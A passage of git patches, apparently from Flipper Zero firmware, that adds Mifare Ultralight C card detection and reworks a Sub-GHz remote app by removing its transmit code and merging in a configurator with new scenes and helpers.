529 1629 529 1631 527 1628 530 1628 529 1629 528 1628 530 1629 529 1629 529 1629 529 1629 528 1629 529 1629 529 1630 528 1629 529 1629 529 1628 529 1629 528 551 528 1629 529 550 529 550 530 548 529 1631 527 551 528 1629 529 5235 4402 4439 530 550 528 1629 529 549 530 1628 529 1629 529 1628 530 1629 529 549 530 550 529 1628 530 552 526 1628 529 1628 530 1628 530 1627 531 1628 529 1629 528 551 528 550 529 1628 530 550 528 1628 529 549 529 550 528 550 529 549 530 548 530 551 528 550 528 578 500 550 529 550 529 551 527 549 530 549 529 549 529 550 528 548 530 550 528 549 529 1629 528 550 529 1630 528 1628 530 1628 530 549 530 1628 529 549 529 +# From 5f52382098855e05b4239966cbe274551abdf538 Mon Sep 17 00:00:00 2001 From: Yukai Li Date: Fri, 26 May 2023 07:19:10 -0600 Subject: [PATCH 054/100] nfc: Mifare Ultralight C detection (#2668) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * nfc: Add Mifare Ultralight C detection * nfc: Add display name for MFUL C and hide menu items MFUL C unlock and emulation currently not supported, so hide from menu if current card is MFUL C * nfc: Also check response when probing 3DES auth * nfc: Hide emulate option in saved menu for MFUL if not supported * nfc: Remove unlock options from saved menu if Ultralight C Co-authored-by: gornekich Co-authored-by: あく --- .../nfc/scenes/nfc_scene_mf_ultralight_menu.c | 16 ++++---- .../main/nfc/scenes/nfc_scene_saved_menu.c | 4 +- firmware/targets/f7/api_symbols.csv | 1 + lib/nfc/nfc_types.c | 2 + lib/nfc/protocols/mifare_ultralight.c | 40 ++++++++++++++++--- lib/nfc/protocols/mifare_ultralight.h | 7 +++- 6 files changed, 56 insertions(+), 14 deletions(-) diff --git a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c index c511e9dcb..e7a494d27 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_ultralight_menu.c @@ -19,7 +19,7 @@ void nfc_scene_mf_ultralight_menu_on_enter(void* context) { Submenu* submenu = nfc->submenu; MfUltralightData* data = &nfc->dev->dev_data.mf_ul_data; - if(!mf_ul_is_full_capture(data)) { + if(!mf_ul_is_full_capture(data) && data->type != MfUltralightTypeULC) { submenu_add_item( submenu, "Unlock", @@ -29,12 +29,14 @@ void nfc_scene_mf_ultralight_menu_on_enter(void* context) { } submenu_add_item( submenu, "Save", SubmenuIndexSave, nfc_scene_mf_ultralight_menu_submenu_callback, nfc); - submenu_add_item( - submenu, - "Emulate", - SubmenuIndexEmulate, - nfc_scene_mf_ultralight_menu_submenu_callback, - nfc); + if(mf_ul_emulation_supported(data)) { + submenu_add_item( + submenu, + "Emulate", + SubmenuIndexEmulate, + nfc_scene_mf_ultralight_menu_submenu_callback, + nfc); + } submenu_add_item( submenu, "Info", SubmenuIndexInfo, nfc_scene_mf_ultralight_menu_submenu_callback, nfc); diff --git a/applications/main/nfc/scenes/nfc_scene_saved_menu.c b/applications/main/nfc/scenes/nfc_scene_saved_menu.c index ba1f96539..e45dc4eb7 100644 --- a/applications/main/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_saved_menu.c @@ -42,7 +42,8 @@ void nfc_scene_saved_menu_on_enter(void* context) { nfc); } } else if( - nfc->dev->format == NfcDeviceSaveFormatMifareUl || + (nfc->dev->format == NfcDeviceSaveFormatMifareUl && + mf_ul_emulation_supported(&nfc->dev->dev_data.mf_ul_data)) || nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { submenu_add_item( submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); @@ -72,6 +73,7 @@ void nfc_scene_saved_menu_on_enter(void* context) { submenu_add_item( submenu, "Info", SubmenuIndexInfo, nfc_scene_saved_menu_submenu_callback, nfc); if(nfc->dev->format == NfcDeviceSaveFormatMifareUl && + nfc->dev->dev_data.mf_ul_data.type != MfUltralightTypeULC && !mf_ul_is_full_capture(&nfc->dev->dev_data.mf_ul_data)) { submenu_add_item( submenu, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index aebfc9072..ccbaa5317 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -2013,6 +2013,7 @@ Function,-,mf_df_prepare_read_records,uint16_t,"uint8_t*, uint8_t, uint32_t, uin Function,-,mf_df_prepare_select_application,uint16_t,"uint8_t*, uint8_t[3]" Function,-,mf_df_read_card,_Bool,"FuriHalNfcTxRxContext*, MifareDesfireData*" Function,-,mf_ul_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_ul_emulation_supported,_Bool,MfUltralightData* Function,-,mf_ul_is_full_capture,_Bool,MfUltralightData* Function,-,mf_ul_prepare_emulation,void,"MfUltralightEmulator*, MfUltralightData*" Function,-,mf_ul_prepare_emulation_response,_Bool,"uint8_t*, uint16_t, uint8_t*, uint16_t*, uint32_t*, void*" diff --git a/lib/nfc/nfc_types.c b/lib/nfc/nfc_types.c index 02ca85580..96b92640f 100644 --- a/lib/nfc/nfc_types.c +++ b/lib/nfc/nfc_types.c @@ -45,6 +45,8 @@ const char* nfc_mf_ul_type(MfUltralightType type, bool full_name) { return "NTAG I2C Plus 2K"; } else if(type == MfUltralightTypeNTAG203) { return "NTAG203"; + } else if(type == MfUltralightTypeULC) { + return "Mifare Ultralight C"; } else if(type == MfUltralightTypeUL11 && full_name) { return "Mifare Ultralight 11"; } else if(type == MfUltralightTypeUL21 && full_name) { diff --git a/lib/nfc/protocols/mifare_ultralight.c b/lib/nfc/protocols/mifare_ultralight.c index 6960bd2a1..266b6e2e2 100644 --- a/lib/nfc/protocols/mifare_ultralight.c +++ b/lib/nfc/protocols/mifare_ultralight.c @@ -79,6 +79,8 @@ static MfUltralightFeatures mf_ul_get_features(MfUltralightType type) { MfUltralightSupportSectorSelect; case MfUltralightTypeNTAG203: return MfUltralightSupportCompatWrite | MfUltralightSupportCounterInMemory; + case MfUltralightTypeULC: + return MfUltralightSupportCompatWrite | MfUltralightSupport3DesAuth; default: // Assumed original MFUL 512-bit return MfUltralightSupportCompatWrite; @@ -95,6 +97,11 @@ static void mf_ul_set_version_ntag203(MfUltralightReader* reader, MfUltralightDa reader->pages_to_read = 42; } +static void mf_ul_set_version_ulc(MfUltralightReader* reader, MfUltralightData* data) { + data->type = MfUltralightTypeULC; + reader->pages_to_read = 48; +} + bool mf_ultralight_read_version( FuriHalNfcTxRxContext* tx_rx, MfUltralightReader* reader, @@ -175,7 +182,7 @@ bool mf_ultralight_authenticate(FuriHalNfcTxRxContext* tx_rx, uint32_t key, uint do { FURI_LOG_D(TAG, "Authenticating"); - tx_rx->tx_data[0] = MF_UL_AUTH; + tx_rx->tx_data[0] = MF_UL_PWD_AUTH; nfc_util_num2bytes(key, 4, &tx_rx->tx_data[1]); tx_rx->tx_bits = 40; tx_rx->tx_rx_type = FuriHalNfcTxRxTypeDefault; @@ -716,6 +723,21 @@ bool mf_ultralight_read_tearing_flags(FuriHalNfcTxRxContext* tx_rx, MfUltralight return flag_read == 2; } +static bool mf_ul_probe_3des_auth(FuriHalNfcTxRxContext* tx_rx) { + tx_rx->tx_data[0] = MF_UL_AUTHENTICATE_1; + tx_rx->tx_data[1] = 0; + tx_rx->tx_bits = 16; + tx_rx->tx_rx_type = FuriHalNfcTxRxTypeDefault; + bool rc = furi_hal_nfc_tx_rx(tx_rx, 50) && tx_rx->rx_bits == 9 * 8 && + tx_rx->rx_data[0] == 0xAF; + + // Reset just in case, we're not going to finish authenticating and need to if tag doesn't support auth + furi_hal_nfc_sleep(); + furi_hal_nfc_activate_nfca(300, NULL); + + return rc; +} + bool mf_ul_read_card( FuriHalNfcTxRxContext* tx_rx, MfUltralightReader* reader, @@ -733,16 +755,20 @@ bool mf_ul_read_card( mf_ultralight_read_signature(tx_rx, data); } } else { - // No GET_VERSION command, check for NTAG203 by reading last page (41) uint8_t dummy[16]; - if(mf_ultralight_read_pages_direct(tx_rx, 41, dummy)) { + // No GET_VERSION command, check if AUTHENTICATE command available (detect UL C). + if(mf_ul_probe_3des_auth(tx_rx)) { + mf_ul_set_version_ulc(reader, data); + } else if(mf_ultralight_read_pages_direct(tx_rx, 41, dummy)) { + // No AUTHENTICATE, check for NTAG203 by reading last page (41) mf_ul_set_version_ntag203(reader, data); - reader->supported_features = mf_ul_get_features(data->type); } else { // We're really an original Mifare Ultralight, reset tag for safety furi_hal_nfc_sleep(); furi_hal_nfc_activate_nfca(300, NULL); } + + reader->supported_features = mf_ul_get_features(data->type); } card_read = mf_ultralight_read_pages(tx_rx, reader, data); @@ -1228,6 +1254,10 @@ static void mf_ul_emulate_write( emulator->data_changed = true; } +bool mf_ul_emulation_supported(MfUltralightData* data) { + return data->type != MfUltralightTypeULC; +} + void mf_ul_reset_emulation(MfUltralightEmulator* emulator, bool is_power_cycle) { emulator->comp_write_cmd_started = false; emulator->sector_select_cmd_started = false; @@ -1732,7 +1762,7 @@ bool mf_ul_prepare_emulation_response( } } } - } else if(cmd == MF_UL_AUTH) { + } else if(cmd == MF_UL_PWD_AUTH) { if(emulator->supported_features & MfUltralightSupportAuth) { if(buff_rx_len == (1 + 4) * 8) { // Record password sent by PCD diff --git a/lib/nfc/protocols/mifare_ultralight.h b/lib/nfc/protocols/mifare_ultralight.h index 4ab22e89c..d444fa798 100644 --- a/lib/nfc/protocols/mifare_ultralight.h +++ b/lib/nfc/protocols/mifare_ultralight.h @@ -16,7 +16,8 @@ #define MF_UL_COMP_WRITE (0xA0) #define MF_UL_READ_CNT (0x39) #define MF_UL_INC_CNT (0xA5) -#define MF_UL_AUTH (0x1B) +#define MF_UL_AUTHENTICATE_1 (0x1A) +#define MF_UL_PWD_AUTH (0x1B) #define MF_UL_READ_SIG (0x3C) #define MF_UL_CHECK_TEARING (0x3E) #define MF_UL_READ_VCSL (0x4B) @@ -41,6 +42,7 @@ typedef enum { typedef enum { MfUltralightTypeUnknown, MfUltralightTypeNTAG203, + MfUltralightTypeULC, // Below have config pages and GET_VERSION support MfUltralightTypeUL11, MfUltralightTypeUL21, @@ -77,6 +79,7 @@ typedef enum { MfUltralightSupportAsciiMirror = 1 << 11, // NTAG203 counter that's in memory rather than through a command MfUltralightSupportCounterInMemory = 1 << 12, + MfUltralightSupport3DesAuth = 1 << 13, } MfUltralightFeatures; typedef enum { @@ -237,6 +240,8 @@ bool mf_ul_read_card( MfUltralightReader* reader, MfUltralightData* data); +bool mf_ul_emulation_supported(MfUltralightData* data); + void mf_ul_reset_emulation(MfUltralightEmulator* emulator, bool is_power_cycle); void mf_ul_prepare_emulation(MfUltralightEmulator* emulator, MfUltralightData* data); From 14a12b02efc595826114f78b75e5cb6559c9938e Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 26 May 2023 17:32:52 +0300 Subject: [PATCH 055/100] drop tx --- .../helpers/subrem_custom_event.h | 1 - .../scenes/subrem_scene_config.h | 3 +- .../scenes/subrem_scene_openmapfile.c | 1 - .../scenes/subrem_scene_remote.c | 130 ------------------ .../scenes/subrem_scene_start.c | 20 +-- .../subghz_remote_new/subghz_remote_app_i.c | 109 --------------- .../subghz_remote_new/subghz_remote_app_i.h | 7 - 7 files changed, 3 insertions(+), 268 deletions(-) delete mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_remote.c diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index 46ab8ad54..b6f752ba0 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -2,7 +2,6 @@ typedef enum { //SubmenuIndex - SubmenuIndexSubRemOpenMapFile, SubmenuIndexSubRemRemoteView, SubmenuIndexSubRemAbout, diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_config.h b/applications/external/subghz_remote_new/scenes/subrem_scene_config.h index 93d4de642..a07b93696 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_config.h +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_config.h @@ -1,3 +1,2 @@ ADD_SCENE(subrem, start, Start) -ADD_SCENE(subrem, openmapfile, OpenMapFile) -ADD_SCENE(subrem, remote, Remote) \ No newline at end of file +ADD_SCENE(subrem, openmapfile, OpenMapFile) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c index ea5c14a0a..8e6d9d0dd 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -19,7 +19,6 @@ void subrem_scene_openmapfile_on_enter(void* context) { #endif } if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { - scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); } else { // TODO: Map Preset Reset if(!scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c deleted file mode 100644 index c24583233..000000000 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c +++ /dev/null @@ -1,130 +0,0 @@ -#include "../subghz_remote_app_i.h" -#include "../views/remote.h" - -#include - -#define TAG "SubRemScenRemote" - -void subrem_scene_remote_callback(SubRemCustomEvent event, void* context) { - furi_assert(context); - SubGhzRemoteApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void subrem_scene_remote_raw_callback_end_tx(void* context) { - furi_assert(context); - SubGhzRemoteApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventViewRemoteForcedStop); -} - -static uint8_t subrem_scene_remote_event_to_index(SubRemCustomEvent event_id) { - uint8_t ret = 0; - - if(event_id == SubRemCustomEventViewRemoteStartUP) { - ret = SubRemSubKeyNameUp; - } else if(event_id == SubRemCustomEventViewRemoteStartDOWN) { - ret = SubRemSubKeyNameDown; - } else if(event_id == SubRemCustomEventViewRemoteStartLEFT) { - ret = SubRemSubKeyNameLeft; - } else if(event_id == SubRemCustomEventViewRemoteStartRIGHT) { - ret = SubRemSubKeyNameRight; - } else if(event_id == SubRemCustomEventViewRemoteStartOK) { - ret = SubRemSubKeyNameOk; - } - - return ret; -} - -static bool subrem_scene_remote_update_data_show(void* context) { - SubGhzRemoteApp* app = context; - bool ret = false; - - subrem_view_remote_add_data_to_show( - app->subrem_remote_view, - furi_string_get_cstr(app->subs_preset[0]->label), - furi_string_get_cstr(app->subs_preset[1]->label), - furi_string_get_cstr(app->subs_preset[2]->label), - furi_string_get_cstr(app->subs_preset[3]->label), - furi_string_get_cstr(app->subs_preset[4]->label)); - - return ret; -} - -void subrem_scene_remote_on_enter(void* context) { - SubGhzRemoteApp* app = context; - - subrem_scene_remote_update_data_show(app); - - subrem_view_remote_set_callback(app->subrem_remote_view, subrem_scene_remote_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDRemote); -} - -bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { - SubGhzRemoteApp* app = context; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubRemCustomEventViewRemoteBack) { - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneOpenMapFile)) { - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - } - return true; - } else if( - event.event == SubRemCustomEventViewRemoteStartUP || - event.event == SubRemCustomEventViewRemoteStartDOWN || - event.event == SubRemCustomEventViewRemoteStartLEFT || - event.event == SubRemCustomEventViewRemoteStartRIGHT || - event.event == SubRemCustomEventViewRemoteStartOK) { - // Start sending sub - subrem_tx_stop_sub(app, true); - app->chusen_sub = subrem_scene_remote_event_to_index(event.event); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); - if(subrem_tx_start_sub( - app, - app->subs_preset[app->chusen_sub], - subrem_scene_remote_raw_callback_end_tx)) { - subrem_view_remote_set_presed_btn(app->subrem_remote_view, app->chusen_sub); - subrem_view_remote_set_state( - app->subrem_remote_view, SubRemViewRemoteStateSending); - notification_message(app->notifications, &sequence_blink_start_magenta); - } else { - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); - notification_message(app->notifications, &sequence_blink_stop); - } - return true; - } else if(event.event == SubRemCustomEventViewRemoteForcedStop) { - subrem_tx_stop_sub(app, true); - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); - - notification_message(app->notifications, &sequence_blink_stop); - return true; - } else if(event.event == SubRemCustomEventViewRemoteStop) { - if(subrem_tx_stop_sub(app, false)) { - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); - - notification_message(app->notifications, &sequence_blink_stop); - } - return true; - } - } - // } else if(event.type == SceneManagerEventTypeTick) { - // } - return false; -} - -void subrem_scene_remote_on_exit(void* context) { - SubGhzRemoteApp* app = context; - - subrem_tx_stop_sub(app, true); - - subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); - subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); - - notification_message(app->notifications, &sequence_blink_stop); -} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c index a4bfa5047..fd2d61c48 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c @@ -13,12 +13,6 @@ void subrem_scene_start_on_enter(void* context) { SubGhzRemoteApp* app = context; Submenu* submenu = app->submenu; - submenu_add_item( - submenu, - "Open Map File", - SubmenuIndexSubRemOpenMapFile, - subrem_scene_start_submenu_callback, - app); #if FURI_DEBUG submenu_add_item( submenu, @@ -37,7 +31,7 @@ void subrem_scene_start_on_enter(void* context) { // TODO: set scene state in subrem alloc // submenu_set_selected_item( // submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); - submenu_set_selected_item(submenu, SubmenuIndexSubRemOpenMapFile); + submenu_set_selected_item(submenu, 0); view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewSubmenu); } @@ -47,22 +41,12 @@ bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { SubGhzRemoteApp* app = context; bool consumed = false; - + UNUSED(app); if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexSubRemOpenMapFile) { - scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); - consumed = true; - } // } else if(event.event == SubmenuIndexSubRemAbout) { // scene_manager_next_scene(app->scene_manager, SubRemSceneAbout); // consumed = true; // } -#if FURI_DEBUG - else if(event.event == SubmenuIndexSubRemRemoteView) { - scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); - consumed = true; - } -#endif } return consumed; diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index adc221941..aa8983951 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -163,115 +163,6 @@ bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev return saved; } -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback) { - furi_assert(app); - furi_assert(sub_preset); - bool ret = false; - - subrem_tx_stop_sub(app, true); - - if(sub_preset->type == SubGhzProtocolTypeUnknown) { - return false; - } - - FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); - - // subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK); - // keeloq_reset_original_btn(); - // subghz_custom_btns_reset(); - - do { - flipper_format_rewind(sub_preset->fff_data); // - - app->transmitter = subghz_transmitter_alloc_init( - app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); - - if(app->transmitter) { - if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != - SubGhzProtocolStatusOk) { - FURI_LOG_E(TAG, "Deserialize error!"); - break; - } - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - - furi_hal_subghz_idle(); - - furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); - furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); - furi_hal_gpio_init( - furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); - - if(!furi_hal_subghz_tx()) { - FURI_LOG_E(TAG, "Sending not allowed"); - break; - } - - if(sub_preset->type == SubGhzProtocolTypeRAW) { - subghz_protocol_raw_file_encoder_worker_set_callback_end( - (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( - app->transmitter), - callback, - app); - } - - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); - - ret = true; - } - } while(false); - - app->tx_running = ret; - - return ret; -} - -static void subghz_tx_stop(SubGhzRemoteApp* app) { - furi_assert(app); - - //Stop TX - furi_hal_subghz_stop_async_tx(); - - subghz_transmitter_stop(app->transmitter); - subghz_transmitter_free(app->transmitter); - furi_hal_subghz_idle(); -} - -bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { - furi_assert(app); - SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; - - if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { - // SubRemSubKeyTypeRawKey)) { - if(app->tx_running) { - subghz_tx_stop(app); - - if(sub_preset->type == SubGhzProtocolTypeDynamic) { - subrem_save_protocol_to_file( - sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); - - // keeloq_reset_mfname(); - // keeloq_reset_kl_type(); - // keeloq_reset_original_btn(); - // subghz_custom_btns_reset(); - // star_line_reset_mfname(); - // star_line_reset_kl_type(); - } - - app->tx_running = false; - return true; - } - } - - return false; -} - static SubRemLoadMapState subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index 06abe659c..1bcb79d8f 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -76,10 +76,3 @@ typedef struct { } SubGhzRemoteApp; SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app); - -bool subrem_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback); - -bool subrem_tx_stop_sub(SubGhzRemoteApp* app, bool forced); \ No newline at end of file From c1eb968144f41319efb3e7b8cc4eea66327624fd Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 26 May 2023 17:39:43 +0300 Subject: [PATCH 056/100] Merge branch 'subrem' into subrem_configurator --- .../subghz_remote_new/application.fam | 11 +- .../helpers/subrem_custom_event.h | 39 +- .../helpers/subrem_presets.c | 180 ++++++ .../helpers/subrem_presets.h | 39 ++ .../subghz_remote_new/helpers/subrem_types.h | 17 +- .../subghz_remote_new/helpers/txrx/Readme.md | 4 + .../helpers/txrx/subghz_txrx.c | 563 ++++++++++++++++++ .../helpers/txrx/subghz_txrx.h | 318 ++++++++++ .../helpers/txrx/subghz_txrx_i.h | 29 + .../icons/DolphinNice_96x59.png | Bin 0 -> 2459 bytes .../{ => remote_scene}/ButtonDown_7x4.png | Bin .../{ => remote_scene}/ButtonLeft_4x7.png | Bin .../{ => remote_scene}/ButtonRight_4x7.png | Bin .../icons/{ => remote_scene}/ButtonUp_7x4.png | Bin .../icons/{ => remote_scene}/Ok_btn_9x9.png | Bin .../{ => remote_scene}/Pin_arrow_up_7x9.png | Bin .../{ => remote_scene}/Pin_cell_13x13.png | Bin .../icons/{ => remote_scene}/Pin_star_7x7.png | Bin .../icons/{ => remote_scene}/back_10px.png | Bin .../subghz_remote_new/icons/subrem_10px.png | Bin 0 -> 5000 bytes .../scenes/subrem_scene_config.h | 8 +- .../scenes/subrem_scene_edit_label.c | 133 +++++ .../scenes/subrem_scene_edit_menu.c | 123 ++++ .../scenes/subrem_scene_edit_preview.c | 74 +++ .../scenes/subrem_scene_edit_submenu.c | 54 ++ .../scenes/subrem_scene_enter_new_name.c | 71 +++ .../scenes/subrem_scene_open_map_file.c | 29 + .../scenes/subrem_scene_open_sub_file.c | 116 ++++ .../scenes/subrem_scene_openmapfile.c | 40 -- .../scenes/subrem_scene_start.c | 33 +- .../subghz_remote_new/subghz_remote_app.c | 87 ++- .../subghz_remote_new/subghz_remote_app_i.c | 431 +++++--------- .../subghz_remote_new/subghz_remote_app_i.h | 59 +- .../subghz_remote_new/views/edit_menu.c | 290 +++++++++ .../subghz_remote_new/views/edit_menu.h | 29 + .../external/subghz_remote_new/views/remote.c | 184 +++--- .../external/subghz_remote_new/views/remote.h | 14 +- 37 files changed, 2474 insertions(+), 501 deletions(-) create mode 100644 applications/external/subghz_remote_new/helpers/subrem_presets.c create mode 100644 applications/external/subghz_remote_new/helpers/subrem_presets.h create mode 100644 applications/external/subghz_remote_new/helpers/txrx/Readme.md create mode 100644 applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.c create mode 100644 applications/external/subghz_remote_new/helpers/txrx/subghz_txrx.h create mode 100644 applications/external/subghz_remote_new/helpers/txrx/subghz_txrx_i.h create mode 100644 applications/external/subghz_remote_new/icons/DolphinNice_96x59.png rename applications/external/subghz_remote_new/icons/{ => remote_scene}/ButtonDown_7x4.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/ButtonLeft_4x7.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/ButtonRight_4x7.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/ButtonUp_7x4.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/Ok_btn_9x9.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/Pin_arrow_up_7x9.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/Pin_cell_13x13.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/Pin_star_7x7.png (100%) rename applications/external/subghz_remote_new/icons/{ => remote_scene}/back_10px.png (100%) create mode 100644 applications/external/subghz_remote_new/icons/subrem_10px.png create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_edit_label.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_edit_menu.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_edit_preview.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_edit_submenu.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_enter_new_name.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_open_map_file.c create mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_open_sub_file.c delete mode 100644 applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c create mode 100644 applications/external/subghz_remote_new/views/edit_menu.c create mode 100644 applications/external/subghz_remote_new/views/edit_menu.h diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_new/application.fam index f2cdd25b0..a232fb30f 100644 --- a/applications/external/subghz_remote_new/application.fam +++ b/applications/external/subghz_remote_new/application.fam @@ -3,17 +3,14 @@ App( name="Sub-GHz Remote", apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_app", - cdefines=[ - "APP_SUBGHZREMOTE", - "SUBREM_LIGHT", - ], requires=[ "gui", "dialogs", ], - icon="A_SubGHzRemote_14", - stack_size=4 * 1024, + stack_size=3 * 1024, order=50, - fap_category="Debug", + fap_description="Remote control for transmission multiple *.sub files", + fap_category="Debug", #"Sub-Ghz" fap_icon_assets="icons", + fap_icon="icons/subrem_10px.png", ) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index b6f752ba0..779458c20 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -1,11 +1,25 @@ #pragma once typedef enum { - //SubmenuIndex + SubRemEditMenuStateUP = 0, + SubRemEditMenuStateDOWN, + SubRemEditMenuStateLEFT, + SubRemEditMenuStateRIGHT, + SubRemEditMenuStateOK, +} SubRemEditMenuState; + +typedef enum { + // SubmenuIndex + SubmenuIndexSubRemEditMapFile = 0, + SubmenuIndexSubRemNewMapFile, SubmenuIndexSubRemRemoteView, SubmenuIndexSubRemAbout, - //SubRemCustomEvent + // EditSubmenuIndex + EditSubmenuIndexEditLabel, + EditSubmenuIndexEditFile, + + // SubRemCustomEvent SubRemCustomEventViewRemoteStartUP = 100, SubRemCustomEventViewRemoteStartDOWN, SubRemCustomEventViewRemoteStartLEFT, @@ -14,4 +28,25 @@ typedef enum { SubRemCustomEventViewRemoteBack, SubRemCustomEventViewRemoteStop, 